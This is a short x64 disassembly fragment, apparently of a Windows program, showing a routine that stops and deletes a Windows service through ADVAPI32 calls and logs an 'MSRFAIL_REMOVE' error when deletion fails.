xor rcx, rsp
call fcn.140052440
add rsp, 0x50
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor esi, esi
mov qword [rsp + 0x70], rdi
mov dil, 1
cmp byte [rbx], sil
jne 0x140035fd6
lea r8, [rsp + 0x20]
lea edx, [rsi + 1]
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, qword [rbx + 0x18]
test eax, eax
movzx edi, dil
cmove edi, esi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140035fd6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.MSRFAIL_REMOVE__u
call fcn.140019dd0
xor dil, dil
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movzx eax, dil
mov qword [rbx + 0x18], rsi
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140052440
add rsp, 0x50
pop rbx
ret